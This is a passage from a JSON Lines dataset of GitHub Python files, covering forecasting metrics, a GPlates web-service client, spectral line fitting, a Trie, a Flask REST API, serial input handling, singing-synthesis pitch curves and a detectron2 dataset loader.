problem\")\n\t\tprint(\"---------------------------------------------------\")\n\t\tprint()\n\t\tgurobi.optimise(m2q.bvc)\n\n\n\n\tendall = time.time()\n\tprint()\n\tprint(\"=======================\")\n\tprint(\"Total time taken (s): \", \"{0:.2f}\".format(round(endall - startall,2)))\n\nmain()\n","repo_name":"maplesond/msa2qubo","sub_path":"qmsa.py","file_name":"qmsa.py","file_ext":"py","file_size_in_byte":5437,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"70388395074","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport numpy as np\nnp.warnings.filterwarnings('ignore')\nimport warnings\nwarnings.warn = lambda *a, **kw: False\nimport pandas as pd\nimport random\nfrom itertools import product, chain\nfrom functools import partial\nfrom statsmodels.api import add_constant\nfrom statsmodels.regression.quantile_regression import QuantReg\nimport multiprocessing as mp\nimport matplotlib.dates as mdates\nimport matplotlib.pyplot as plt\nfrom sklearn.decomposition import PCA\nfrom sklearn.utils.validation import check_is_fitted\nfrom ESRNN.m4_data import prepare_m4_data\nfrom ESRNN.utils_evaluation import evaluate_prediction_owa\nfrom dask import delayed, compute\nimport dask.dataframe as dd\nfrom dask.diagnostics import ProgressBar\nimport time\nfrom src.metrics.metrics import smape, mape\n\nimport os\nos.environ[\"OMP_NUM_THREADS\"] = \"1\" # export OMP_NUM_THREADS=1\nos.environ[\"OPENBLAS_NUM_THREADS\"] = \"1\" # export OPENBLAS_NUM_THREADS=1\nos.environ[\"MKL_NUM_THREADS\"] = \"1\" # export MKL_NUM_THREADS=1\nos.environ[\"VECLIB_MAXIMUM_THREADS\"] = \"1\" # export VECLIB_MAXIMUM_THREADS=1\nos.environ[\"NUMEXPR_NUM_THREADS\"] = \"1\" # export NUMEXPR_NUM_THREADS=1\n\nfreqs = {'Hourly': 24, 'Daily': 1,\n 'Monthly': 12, 'Quarterly': 4,\n 'Weekly':1, 'Yearly': 1}\n\nfreqs_hyndman = {'H': 24, 'D': 1,\n 'M': 12, 'Q': 4,\n 'W':1, 'Y': 1}\n\nFREQ_DICT = {'H':24, 'D': 7, 'W':52, 'M': 12, 'Q': 4, 'Y': 1, 'O': 1}\n\ndef prepare_data(df, h, min_size_per_series=None, max_series=None, regressors=None):\n \"\"\"Splits the data in train and validation sets.\"\"\"\n if min_size_per_series is None:\n min_size_per_series = 3 * h\n\n sizes = df.groupby('unique_id').size()\n uids_min_size = sizes[sizes > min_size_per_series].index.to_list()\n valid_df = df[df['unique_id'].isin(uids_min_size)]\n\n if max_series is not None:\n uids_max_series = valid_df.groupby(['unique_id']).sum()\n uids_max_series = uids_max_series.nlargest(max_series, 'y').index.to_list()\n valid_df = valid_df[valid_df['unique_id'].isin(uids_max_series)]\n\n test = valid_df.groupby('unique_id').tail(h)\n train = valid_df.groupby('unique_id').apply(lambda df: df.head(-h)).reset_index(drop=True)\n\n if regressors is None:\n regressors = []\n\n x_cols, y_cols = (['unique_id', 'ds'] + regressors), ['unique_id', 'ds', 'y']\n\n X_train_df = train.filter(items=x_cols)\n y_train_df = train.filter(items=y_cols)\n X_test_df = test.filter(items=x_cols)\n y_test_df = test.filter(items=y_cols)\n\n return X_train_df, y_train_df, X_test_df, y_test_df\n\ndef plot_grid_prediction(pandas_df, columns, plot_random=True, unique_ids=None, save_file_name=None):\n \"\"\"\n y: pandas df\n panel with columns unique_id, ds, y\n y_hat: pandas df\n panel with columns unique_id, ds, y_hat\n plot_random: bool\n if unique_ids will be sampled\n unique_ids: list\n unique_ids to plot\n save_file_name: str\n file name to save plot\n \"\"\"\n pd.plotting.register_matplotlib_converters()\n\n fig, axes = plt.subplots(2, 4, figsize = (24,8))\n\n if not unique_ids:\n unique_ids = pandas_df['unique_id'].unique()\n\n assert len(unique_ids) >= 8, \"Must provide at least 8 ts\"\n\n if plot_random:\n unique_ids = random.sample(set(unique_ids), k=8)\n\n for i, (idx, idy) in enumerate(product(range(2), range(4))):\n y_uid = pandas_df[pandas_df.unique_id == unique_ids[i]]\n\n for col in columns:\n axes[idx, idy].plot(y_uid.ds, y_uid[col], label = col)\n axes[idx, idy].set_title(unique_ids[i])\n axes[idx, idy].legend(loc='upper left')\n axes[idx, idy].xaxis.set_major_formatter(mdates.DateFormatter('%Y-%m'))\n\n plt.show()\n\ndef wide_to_long(df, lst_cols, fill_value='', preserve_index=False):\n # make sure `lst_cols` is list-alike\n if (lst_cols is not None\n and len(lst_cols) > 0\n and not isinstance(lst_cols, (list, tuple, np.ndarray, pd.Series))):\n lst_cols = [lst_cols]\n # all columns except `lst_cols`\n idx_cols = df.columns.difference(lst_cols)\n # calculate lengths of lists\n lens = df[lst_cols[0]].str.len()\n # preserve original index values\n idx = np.repeat(df.index.values, lens)\n # create \"exploded\" DF\n res = (pd.DataFrame({\n col:np.repeat(df[col].values, lens)\n for col in idx_cols},\n index=idx)\n .assign(**{col:np.concatenate(df.loc[lens>0, col].values)\n for col in lst_cols}))\n # append those rows that have empty lists\n if (lens == 0).any():\n # at least one list in cells is empty\n res = (res.append(df.loc[lens==0, idx_cols], sort=False)\n .fillna(fill_value))\n # revert the original index order\n res = res.sort_index()\n # reset index if requested\n if not preserve_index:\n res = res.reset_index(drop=True)\n return res\n\ndef long_to_wide_uid(uid, df, columns, cols_to_parse):\n horizontal_df = pd.DataFrame(columns=columns)\n for col, col_to_parse in zip(columns, cols_to_parse):\n horizontal_df[col] = [df[col_to_parse].values]\n\n horizontal_df['unique_id'] = uid\n\n return horizontal_df\n\ndef long_to_wide(long_df, cols_to_parse=None,\n cols_wide=None,\n threads=None):\n\n if threads is None:\n threads = mp.cpu_count()\n\n long_df_dask = long_df.set_index('unique_id')\n long_df_dask = dd.from_pandas(long_df_dask, npartitions=threads)\n\n if cols_to_parse is None:\n cols_to_parse = set(long_df.columns) - {'unique_id'}\n\n if cols_wide is None:\n cols_wide = cols_to_parse\n\n assert len(cols_to_parse) == len(cols_wide), 'Cols to parse and cols wide must have the same len'\n\n df_list = []\n for new_col, col in zip(cols_wide, cols_to_parse):\n df = long_df_dask[col].groupby('unique_id').apply(lambda df: df.values)\n df = df.rename(new_col)\n df = df.to_frame()\n df_list.append(df)\n\n with ProgressBar():\n df_list = compute(*df_list)\n\n wide_df = pd.concat(df_list, 1).reset_index()\n\n return wide_df\n\ndef evaluate_batch(batch, metric, metric_name, seasonality):\n df_losses = pd.DataFrame(index=batch.index.unique())\n df_losses[metric_name] = None\n\n for uid, df in batch.groupby('unique_id'):\n y = df['y'].values.item()\n y_hat = df['y_hat'].values.item()\n\n if metric_name in ['mase']:\n y_train = df['y_train'].values.item()\n loss = metric(y, y_hat, y_train, seasonality)\n else:\n loss = metric(y, y_hat)\n df_losses.loc[uid, metric_name] = loss\n\n return df_losses\n\ndef evaluate_panel(y_panel, y_hat_panel, metric, y_train_df=None,\n seasonality=None):\n \"\"\"\n \"\"\"\n metric_name = metric.__name__\n y_df = y_panel.merge(y_hat_panel, how='left', on=['unique_id', 'ds'])\n y_df = long_to_wide(y_df)\n\n if y_train_df is not None:\n wide_y_train_df = long_to_wide(y_train_df).rename(columns={'y': 'y_train'})\n y_df = y_df.merge(wide_y_train_df, how='left', on=['unique_id'])\n\n y_df = y_df.set_index('unique_id')\n parts = mp.cpu_count() - 1\n y_df_dask = dd.from_pandas(y_df, npartitions=parts).to_delayed()\n\n evaluate_batch_p = partial(evaluate_batch, metric=metric,\n metric_name=metric_name,\n seasonality=seasonality)\n\n task = [delayed(evaluate_batch_p)(part) for part in y_df_dask]\n\n with ProgressBar():\n losses = compute(*task)\n\n losses = pd.concat(losses).reset_index()\n losses[metric_name] = losses[metric_name].astype(float)\n\n return losses\n\ndef set_y_hat(df, col, drop_y=True):\n df = df.rename(columns={col: 'y_hat'})\n\n if drop_y:\n df = df.drop('y', 1)\n\n return df\n\ndef evaluate_models(y_test_df, models_panel, metric, y_train_df=None,\n seasonality=1):\n models = set(models_panel.columns) - {'unique_id', 'ds'}\n metric_name = metric.__name__\n\n list_losses = []\n for model in models:\n y_hat_df = set_y_hat(models_panel, model, False)\n loss = evaluate_panel(y_test_df, y_hat_df, metric, y_train_df, seasonality)\n loss = loss.rename(columns={metric_name: model})\n loss = loss.set_index('unique_id')\n list_losses.append(loss)\n\n df_losses = pd.concat(list_losses, 1).reset_index()\n\n return df_losses\n\n###############################################################################\n###### EVALUATION PER obs\n###############################################################################\n\ndef evaluate_panel_per_obs(y_panel, y_hat_panel, metric, y_train_df=None,\n seasonality=None) -> pd.DataFrame:\n \"\"\"\n \"\"\"\n metric_name = metric.__name__\n y_df = y_panel.merge(y_hat_panel, how='left', on=['unique_id', 'ds'])\n\n y = y_df['y'].values\n y_hat = y_df['y_hat'].values\n\n df_losses = pd.DataFrame(index=[0])\n df_losses[metric_name] = None\n\n if metric_name in ['mase']:\n y_train = df['y_train'].values.item()\n loss = metric(y, y_hat, y_train, seasonality)\n else:\n loss = metric(y, y_hat)\n\n df_losses.loc[0, metric_name] = loss\n\n return df_losses\n\ndef evaluate_models_per_obs(y_test_df, models_panel, metric, y_train_df=None,\n seasonality=1) -> pd.DataFrame:\n models = set(models_panel.columns) - {'unique_id', 'ds'}\n metric_name = metric.__name__\n\n list_losses = []\n for model in models:\n y_hat_df = set_y_hat(models_panel, model, False)\n loss = evaluate_panel_per_obs(y_test_df, y_hat_df, metric, y_train_df, seasonality)\n loss = loss.rename(columns={metric_name: model})\n list_losses.append(loss)\n\n df_losses = pd.concat(list_losses, 1).reset_index(drop=True)\n\n return df_losses\n","repo_name":"FedericoGarza/fforma","sub_path":"fforma/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9857,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"6997119240","text":"# open this script in vs code\n# connect to gplates web service docker container\n# run it inside vs code\nimport os\nfrom pathlib import Path\n\nimport requests\n\nSERVER_URL = os.getenv(\"GWS_SERVER_URL\")\nif not SERVER_URL:\n SERVER_URL = \"https://gws.gplates.org\"\n # SERVER_URL = \"http://localhost:18000\"\n print(f\"Using server URL in script {SERVER_URL}\")\nelse:\n print(f\"Using server URL in environment variable {SERVER_URL}\")\n\nurl = f\"{SERVER_URL}/reconstruct/assign_shp_plate_ids\"\n\nscript_path = os.path.dirname(os.path.realpath(__file__))\n# print(script_path)\noutput_path = f\"{script_path}/output\"\nPath(output_path).mkdir(parents=True, exist_ok=True)\n\n\ndata_folder = f\"{script_path}/data\"\nfiles = {\n \"file_1\": open(f\"{data_folder}/Australia_Points.shx\", \"rb\"),\n \"file_2\": open(f\"{data_folder}/Australia_Points.prj\", \"rb\"),\n \"file_3\": open(f\"{data_folder}/Australia_Points.shp\", \"rb\"),\n \"file_4\": open(f\"{data_folder}/Australia_Points.dbf\", \"rb\"),\n}\n\n# You may compress the shapefiles into a zip file and use the line below\n# files = {\"file_1\": open(f\"{data_folder}/Australia_Points.zip\", \"rb\")}\n\ndata = {\n \"model\": \"MULLER2019\",\n}\n\nr = requests.post(url, files=files, data=data)\nprint(r.reason)\n\nwith open(f\"{output_path}/result.zip\", \"wb\") as of:\n of.write(r.content)\n\nprint(\"done!\")\n","repo_name":"GPlates/gplates-web-service","sub_path":"examples/assign_shp_plate_ids_with_web_service.py","file_name":"assign_shp_plate_ids_with_web_service.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"8044398109","text":"import numpy as np\n\nfrom astropy.io import fits\nfrom astropy.constants import c, k_B, u\nfrom astropy import units\n\nimport matplotlib.pyplot as plt\n\nI = np.array(fits.open('data/5876_m1_20100316.fits')[0].data)[0, 16:45]\nI = np.divide(I, np.transpose([np.max(I, axis=1)]))\nI_mean = np.mean(np.transpose(I), axis=1)\n\nstandard_deviation = np.std(I, axis=0)\n\nhelium_mass = 4.002602 * u\nmedium_lifetime = (1 / 7.0708e+07) * units.s\n#delta_L = ((1 / (2 * np.pi * medium_lifetime)).to(units.Hz)).value * 10e-12\n\ndef D(nu, nu_0, delta_D):\n return 2 * np.sqrt(np.log(2))/(np.sqrt(np.pi) * delta_D) * np.exp(-(2 * np.sqrt(np.log(2))/delta_D * (nu - nu_0))**2)\n\ndef L(nu, nu_0, delta_L):\n return 1/ np.pi * (delta_L/2)/((nu - nu_0)**2 + (delta_L/2)**2)\n\ndef V(nu, nu_0, delta_D, delta_L):\n delta = ( delta_D**5 + 2.69269 * delta_D**4 * delta_L + 2.42843 * delta_D**3 * delta_L**2 + 4.47163 * delta_D**2 * delta_L**3 + 0.07842 * delta_D * delta_L**4+ delta_L**5)**(1./5.)\n eta = 1.36603 * ( delta_L / delta ) - 0.47719 * ( delta_L / delta )**2 + 0.11116 * ( delta_L / delta )**3\n\n f = eta * L(nu, nu_0, delta_L) + ( 1 - eta ) * D( nu, nu_0, delta_D)\n return f / np.max(f)\n\nx_axis = np.arange(0, 250, 1)\n\nplt.plot(x_axis, I_mean[300:550])\nplt.plot(x_axis, V(x_axis, *[1.11550115e+02,6.26716368e-02,2.72131114e+01]))\nplt.show()\n\n","repo_name":"danielpanero/LAM-2019","sub_path":"test_model/plot_fit_data_3d.py","file_name":"plot_fit_data_3d.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28649058424","text":"class Node:\n def __init__(self, key):\n self.key = key\n self.child = {}\n\nclass Trie:\n def __init__(self):\n self.head = Node(None)\n\n def insert(self, word):\n cur = self.head\n\n for ch in word:\n if ch not in cur.child:\n cur.child[ch] = Node(ch)\n cur = cur.child[ch]\n cur.child['*'] = True\n \n def search(self,word):\n cur = self.head\n\n for ch in word:\n if ch not in cur.child:\n return False\n cur = cur.child[ch]\n if '*' in cur.child:\n return True\n\n\n#https://hooongs.tistory.com/28 참고","repo_name":"Kimsunghyunny/Practice-Python","sub_path":"2_자료구조/04.트리/Trie구조/trie.py","file_name":"trie.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42707896882","text":"import uuid \nfrom flask import request\nfrom flask.views import MethodView\nfrom flask_smorest import abort, Blueprint\nfrom schemas import ItemSchema, ItemUpdateSchema\nfrom db import items, stores\n\n\n#Create a flask_smorest blue print object \nblp = Blueprint(\"items\", __name__, description=\"Operaions on items\")\n\n\n#Inherit class from MethodView and decorate the class with endpoint route\n@blp.route(\"/item/\")\nclass Item(MethodView):\n# def the endpoint methods\n # get an item\n @blp.response(200, ItemSchema)\n def get(self, item_id):\n try:\n return items[item_id]\n except KeyError:\n abort(404, message=\"Item not Found.\")\n\n\n # delte an item\n def delete(self, item_id):\n try:\n del items[item_id]\n return {\"message\": \"Item deleted.\"}\n except KeyError:\n abort(400, message=\"Item not found.\")\n\n \n # update an item\n @blp.arguments(ItemUpdateSchema)\n @blp.response(200, ItemSchema)\n def put(self, item_data, item_id):\n\n try:\n item = items[item_id]\n item |= item_data\n return item\n \n except KeyError:\n abort(404, message=\"Item not found.\")\n\n\n@blp.route(\"/item\")\nclass ItemList(MethodView):\n # get all items\n @blp.response(200,ItemSchema(many=True))\n def get(self):\n return items.values() # list of items\n \n # create an item\n @blp.arguments(ItemSchema)\n @blp.response(201,ItemSchema)\n def post(self, item_data):\n for item in items.values():\n if(\n item_data[\"name\"] == item[\"name\"]\n and item_data[\"store_id\"] == item[\"store_id\"]\n ):\n abort(\n 400,\n message=f\"Item already exists.\"\n ) \n if item_data[\"store_id\"] not in stores:\n abort(404, message=\"Store not found.\")\n\n item_id = uuid.uuid4().hex\n new_item= {**item_data, \"id\":item_id}\n items[item_id] = new_item\n return new_item, 201 # accepted the request","repo_name":"Aunghein09/Restapi_with_falsk_and_python","sub_path":"flask_smorest/resources/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":2089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19043590283","text":"# 키 인덱스 \nKEY_LEFT = 0\nKEY_UP = 1\nKEY_RIGHT = 2\nKEY_DOWN = 3\nKEY_SELECT = 4\nKEY_START = 5\nKEY_SQUARE = 6\nKEY_TRIANGLE = 7\nKEY_X = 8\nKEY_CIRCLE = 9\n\n# 키 매핑 \nKeymap = {\n b'a': [KEY_LEFT, 'KEY_LEFT'],\n b'w': [KEY_UP, 'KEY_UP'],\n b'd': [KEY_RIGHT, 'KEY_RIGHT'],\n b's': [KEY_DOWN, 'KEY_DOWN'],\n b'1': [KEY_SELECT, 'KEY_SELECT'],\n b'2': [KEY_START, 'KEY_START'],\n b'y': [KEY_SQUARE, 'KEY_SQUARE'],\n b'u': [KEY_TRIANGLE, 'KEY_TRIANGLE'],\n b'h': [KEY_X, 'KEY_X'],\n b'j': [KEY_CIRCLE, 'KEY_CIRCLE'],\n }\n# 프로토콜\nclass rawProtocal(Protocol):\n # 연결 시작시 발생\n def connection_made(self, transport):\n self.transport = transport\n self.running = True\n\n # 연결 종료시 발생\n def connection_lost(self, exc):\n self.transport = None\n\n #데이터가 들어오면 이곳에서 처리함.\n def data_received(self, data):\n #입력된 데이터와 키맵을 비교해서 있다면\n if data in Keymap:\n # 매핑된 키의 문자열 출력\n print(Keymap[data][1])\n \n # Keymap[data][0]은 키 인덱스\n # 매칭되는 key 인덱스 가져옴\n key = Keymap[data][0]\n \n # 매핑 키가 CIRCLE 키이면 프로그램 종료 \n if key == KEY_CIRCLE:\n self.running = False\n else:\n print('Unknown data', data)\n\n # 데이터 보낼 때 함수\n def write(self,data):\n print(data)\n self.transport.write(data)\n \n # 종료 체크\n def isDone(self):\n return self.running\n\n\n# 포트 설정\nPORT = '/dev/ttyUSB0'\n# 연결\nser = serial.serial_for_url(PORT, baudrate=9600, timeout=1)\n\n# 쓰레드 시작\nwith ReaderThread(ser, rawProtocal) as p:\n while p.isDone():\n time.sleep(1)\n\n# https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=chandong83&logNo=221156763486","repo_name":"riverSun1/Cipher-Pro","sub_path":"20220210/cipher_old/uart2.py","file_name":"uart2.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22566247502","text":"#1 - Напишите программу, которая принимает на вход вещественное число и показывает сумму его цифр.\n\ndef is_number(str): #проверка, являются ли введенные данные числом\n try:\n float(str)\n return True\n except ValueError:\n return False\n\nn = input('Введите вещественное ч��сло: ')\nif is_number(n) == False:\n print('Это не число')\n exit()\nelse:\n sum = 0\n for item in n:\n if is_number(item) == False: #отсекаем минусы и запятые\n continue\n else:\n sum += int(item)\n \nprint(f'Сумма цифр = {sum}')","repo_name":"AskarRValiev/HomeWork_2","sub_path":"Task_1.py","file_name":"Task_1.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28908406636","text":"import abc\nimport dataclasses\nimport enum\nimport operator\nfrom typing import Callable, Iterable\n\nfrom libresvip.core.time_sync import TimeSynchronizer\nfrom libresvip.model.point import Point\nfrom libresvip.utils import find_last_index\n\nfrom .interval_utils import position_to_ticks\nfrom .layer_generator import (\n BaseLayerGenerator,\n GaussianLayerGenerator,\n NoteStruct,\n VibratoLayerGenerator,\n)\nfrom .model import SVNote\n\n\nclass ParamOperators(enum.Enum):\n ADD = operator.add\n SUB = operator.sub\n MUL = operator.mul\n DIV = operator.truediv\n\n\nclass ParamExpression(abc.ABC):\n @abc.abstractmethod\n def value_at_ticks(self, ticks: int):\n pass\n\n def __add__(self, other):\n if isinstance(other, int):\n return TranslationalParam(\n self,\n other,\n )\n else:\n return CompoundParam(\n self,\n ParamOperators.ADD,\n other,\n )\n\n def __sub__(self, other):\n if isinstance(other, int):\n return self + (-other)\n else:\n return CompoundParam(\n self,\n ParamOperators.SUB,\n other,\n )\n\n def __mul__(self, other):\n if isinstance(other, int):\n return ScaledParam(\n self,\n other,\n )\n else:\n return CompoundParam(\n self,\n ParamOperators.MUL,\n other,\n )\n\n def __truediv__(self, other):\n if isinstance(other, int):\n return self * (1 / other)\n else:\n return CompoundParam(\n self,\n ParamOperators.DIV,\n other,\n )\n\n\n@dataclasses.dataclass\nclass ScaledParam(ParamExpression):\n expression: ParamExpression\n ratio: float\n\n def value_at_ticks(self, ticks: int):\n return int(round(self.ratio * self.expression.value_at_ticks(ticks)))\n\n\n@dataclasses.dataclass\nclass TranslationalParam(ParamExpression):\n expression: ParamExpression\n offset: int\n\n def value_at_ticks(self, ticks: int):\n return self.expression.value_at_ticks(ticks) + self.offset\n\n\n@dataclasses.dataclass\nclass CurveGenerator(ParamExpression):\n base_value: int = dataclasses.field(init=False)\n interpolation: Callable[[float], float] = dataclasses.field(init=False)\n point_list: list[Point] = dataclasses.field(init=False)\n _point_list: dataclasses.InitVar[Iterable[Point]]\n _interpolation: dataclasses.InitVar[Callable[[float], float]]\n _base_value: dataclasses.InitVar[int] = 0\n\n def __post_init__(self, _point_list, _interpolation, _base_value=0):\n self.point_list = []\n current_pos = -1\n current_sum = 0\n overlap_count = 0\n for pos, value in _point_list:\n if pos == current_pos or current_pos < 0:\n current_sum += value\n overlap_count += 1\n else:\n self.point_list.append(\n Point(current_pos, round(current_sum / overlap_count))\n )\n current_sum = value\n overlap_count = 1\n current_pos = pos\n if current_pos != -1:\n self.point_list.append(\n Point(current_pos, round(current_sum / overlap_count))\n )\n self.interpolation = _interpolation\n self.base_value = _base_value\n\n def value_at_ticks(self, ticks: int) -> int:\n if len(self.point_list) == 0:\n return self.base_value\n index = find_last_index(self.point_list, lambda point: point.x <= ticks)\n if index == -1:\n return self.point_list[0].y\n if index == len(self.point_list) - 1:\n return self.point_list[-1].y\n r = self.interpolation(\n (ticks - self.point_list[index].x)\n / (self.point_list[index + 1].x - self.point_list[index].x)\n )\n return round(\n (1 - r) * self.point_list[index].y + r * self.point_list[index + 1].y\n )\n\n def get_converted_curve(self, step: int) -> list[Point]:\n result = []\n if len(self.point_list) == 0:\n result.append(Point.start_point(self.base_value))\n result.append(Point.end_point(self.base_value))\n return result\n prev_point = self.point_list[0]\n result.append(Point.start_point(prev_point.y))\n result.append(Point(prev_point.x, prev_point.y))\n for current_point in self.point_list[1:]:\n if prev_point.y == self.base_value and current_point.y == self.base_value:\n result.append(Point(prev_point.x, self.base_value))\n result.append(Point(current_point.x, self.base_value))\n else:\n for p in range(prev_point.x + step, current_point.x, step):\n r = self.interpolation(\n (p - prev_point.x) / (current_point.x - prev_point.x)\n )\n v = round((1 - r) * prev_point.y + r * current_point.y)\n result.append(Point(p, v))\n prev_point = current_point\n result.append(Point(prev_point.x, prev_point.y))\n result.append(Point.end_point(prev_point.y))\n return result\n\n\n@dataclasses.dataclass\nclass CompoundParam(ParamExpression):\n expr1: ParamExpression\n op: ParamOperators\n expr2: ParamExpression\n\n def value_at_ticks(self, ticks: int):\n ticks1 = self.expr1.value_at_ticks(ticks)\n ticks2 = self.expr2.value_at_ticks(ticks)\n if self.op == ParamOperators.ADD:\n return ticks1 + ticks2\n elif self.op == ParamOperators.SUB:\n return ticks1 - ticks2\n elif self.op == ParamOperators.MUL:\n return ticks1 * ticks2\n elif self.op == ParamOperators.DIV:\n return ticks1 / ticks2\n raise NotImplementedError\n\n\n@dataclasses.dataclass\nclass PitchGenerator(ParamExpression):\n synchronizer: TimeSynchronizer = dataclasses.field(init=False)\n pitch_diff: ParamExpression = dataclasses.field(init=False)\n vibrato_env: ParamExpression = dataclasses.field(init=False)\n base_layer: BaseLayerGenerator = dataclasses.field(init=False)\n gaussian_layer: GaussianLayerGenerator = dataclasses.field(init=False)\n vibrato_layer: VibratoLayerGenerator = dataclasses.field(init=False)\n _synchronizer: dataclasses.InitVar[TimeSynchronizer]\n _pitch_diff: dataclasses.InitVar[ParamExpression]\n _vibrato_env: dataclasses.InitVar[ParamExpression]\n _note_list: dataclasses.InitVar[list[SVNote]]\n\n def __post_init__(\n self,\n _synchronizer: TimeSynchronizer,\n _pitch_diff: ParamExpression,\n _vibrato_env: ParamExpression,\n _note_list: list[SVNote],\n ):\n self.synchronizer = _synchronizer\n self.pitch_diff = _pitch_diff\n self.vibrato_env = _vibrato_env\n if not len(_note_list):\n return\n note_structs = [\n NoteStruct(\n key=sv_note.pitch,\n start=_synchronizer.get_actual_secs_from_ticks(\n position_to_ticks(sv_note.onset)\n ),\n end=_synchronizer.get_actual_secs_from_ticks(\n position_to_ticks(sv_note.onset + sv_note.duration)\n ),\n slide_offset=sv_note.attributes.transition_offset,\n slide_left=sv_note.attributes.slide_left,\n slide_right=sv_note.attributes.slide_right,\n depth_left=sv_note.attributes.depth_left,\n depth_right=sv_note.attributes.depth_right,\n vibrato_start=sv_note.attributes.vibrato_start,\n vibrato_left=sv_note.attributes.vibrato_left,\n vibrato_right=sv_note.attributes.vibrato_right,\n vibrato_depth=sv_note.attributes.vibrato_depth,\n vibrato_frequency=sv_note.attributes.vibrato_frequency,\n vibrato_phase=sv_note.attributes.vibrato_phase,\n )\n for sv_note in _note_list\n ]\n self.base_layer = BaseLayerGenerator(note_structs)\n self.vibrato_layer = VibratoLayerGenerator(note_structs)\n self.gaussian_layer = GaussianLayerGenerator(note_structs)\n\n def value_at_ticks(self, ticks: int):\n return self.value_at_secs(self.synchronizer.get_actual_secs_from_ticks(ticks))\n\n def value_at_secs(self, secs: float) -> int:\n ticks = round(self.synchronizer.get_actual_ticks_from_secs(secs))\n result = round(\n self.base_layer.pitch_at_secs(secs)\n + self.pitch_diff.value_at_ticks(ticks)\n + self.vibrato_layer.pitch_diff_at_secs(secs)\n * self.vibrato_env.value_at_ticks(ticks)\n / 1000\n + self.gaussian_layer.pitch_diff_at_secs(secs)\n )\n return result\n","repo_name":"SoulMelody/LibreSVIP","sub_path":"libresvip/plugins/svp/param_expression.py","file_name":"param_expression.py","file_ext":"py","file_size_in_byte":8950,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"21991835723","text":"# You are given the following information, but you may prefer to do some research for yourself.\n# 1 Jan 1900 was a Monday.\n# Thirty days has September,\n# April, June and November.\n# All the rest have thirty-one,\n# Saving February alone,\n# Which has twenty-eight, rain or shine.\n# And on leap years, twenty-nine.\n# A leap year occurs on any year evenly divisible by 4, but not on a century unless it is divisible by 400.\n# How many Sundays fell on the first of the month during the twentieth century (1 Jan 1901 to 31 Dec 2000)?\n# datetime.isoweekday() - день недели в виде числа, понедельник - 1, воскресенье - 7.\n# date(year, month, day)\nimport datetime\nfrom datetime import date\nimport calendar\n\nclass DaysYears():\n\n def WhatDay(self, input_data1, input_data2, input_data3):\n data1 = int(input_data1)\n data2 = int(input_data2)\n day_of_week = int(input_data3)\n sum_day = 0\n days = {1:\"Monday\", 2:\"Tuesday\", 3:\"Wednesday\", 4:\"Thursday\",\n 5:\"Friday\", 6:\"Saturday\", 7:\"Sunday\"}\n # kwargs**\n for yy in range(data1, data2):\n for mm in range(1, 13):\n d = datetime.datetime(yy, mm, 1).isoweekday()\n if d == day_of_week:\n sum_day += 1\n # print(d)\n # print(sum_day)\n # print(days[d])\n \n # print('Столько ' + str(days[day_of_week]) + ' выпало на первое число месяца в двадцатом веке')\n print('Столько ' + str(calendar.day_name[day_of_week-1]) + ' выпало на первое число месяца в двадцатом веке')\n return sum_day\n\n\nif __name__ == \"__main__\":\n # print(Sequence.GeneratingOfSequence(13))\n n = DaysYears()\n print(n.WhatDay(1901, 2001, 7))","repo_name":"vrednyydragon/ProjectEuler","sub_path":"py_src/Problem019.py","file_name":"Problem019.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22770146810","text":"import torch\nfrom torch.utils.data import Dataset\nimport cv2\nimport os\nimport numpy as np\nfrom detectron2.structures import BoxMode\n\n\ndef isimage(filename):\n IMAGE_FORMAT = [\n 'jpg', 'png', 'JPEG', 'PNG', 'jpeg'\n ]\n return filename.split('.')[-1] in IMAGE_FORMAT\n\n\ndef get_cracks_dicts_instance(img_dir):\n dataset_dicts = []\n image_paths = None\n contains_image_folder = False\n if os.path.exists(img_dir + 'image/'):\n image_paths = list(sorted(os.listdir(img_dir + 'image/')))\n contains_image_folder = True\n else:\n image_paths = list(sorted(os.listdir(img_dir)))\n mask_paths = None\n if os.path.exists(img_dir+'mask/'):\n mask_paths = list(sorted(os.listdir(img_dir+'mask/')))\n for idx, v in enumerate(image_paths):\n record = {}\n\n filename = os.path.join(\n img_dir, 'image/', v) if contains_image_folder else os.path.join(img_dir, v)\n height, width = cv2.imread(filename).shape[:2]\n\n record[\"file_name\"] = filename\n record[\"seg_file_name\"] = os.path.join(\n img_dir, 'mask/', mask_paths[idx]) if mask_paths else ''\n record[\"image_id\"] = idx\n record[\"height\"] = height\n record[\"width\"] = width\n\n if mask_paths:\n mask_path = img_dir + \"mask/\" + mask_paths[idx]\n mask = cv2.imread(mask_path, cv2.IMREAD_GRAYSCALE) # HxWxC\n contours, _ = cv2.findContours(\n mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\n objs = []\n for cnt in contours:\n approx = cv2.approxPolyDP(\n cnt, 0.009 * cv2.arcLength(cnt, True), True)\n if approx.shape[0] < 3:\n continue\n # cv2.drawContours(image, [approx], 0, (0, 0, 255), 1)\n # get bounding box coordinates for each mask\n px = [pos[0][0] for pos in approx]\n py = [pos[0][1] for pos in approx]\n poly = [(x + 0.5, y + 0.5) for x, y in zip(px, py)]\n poly = [p for x in poly for p in 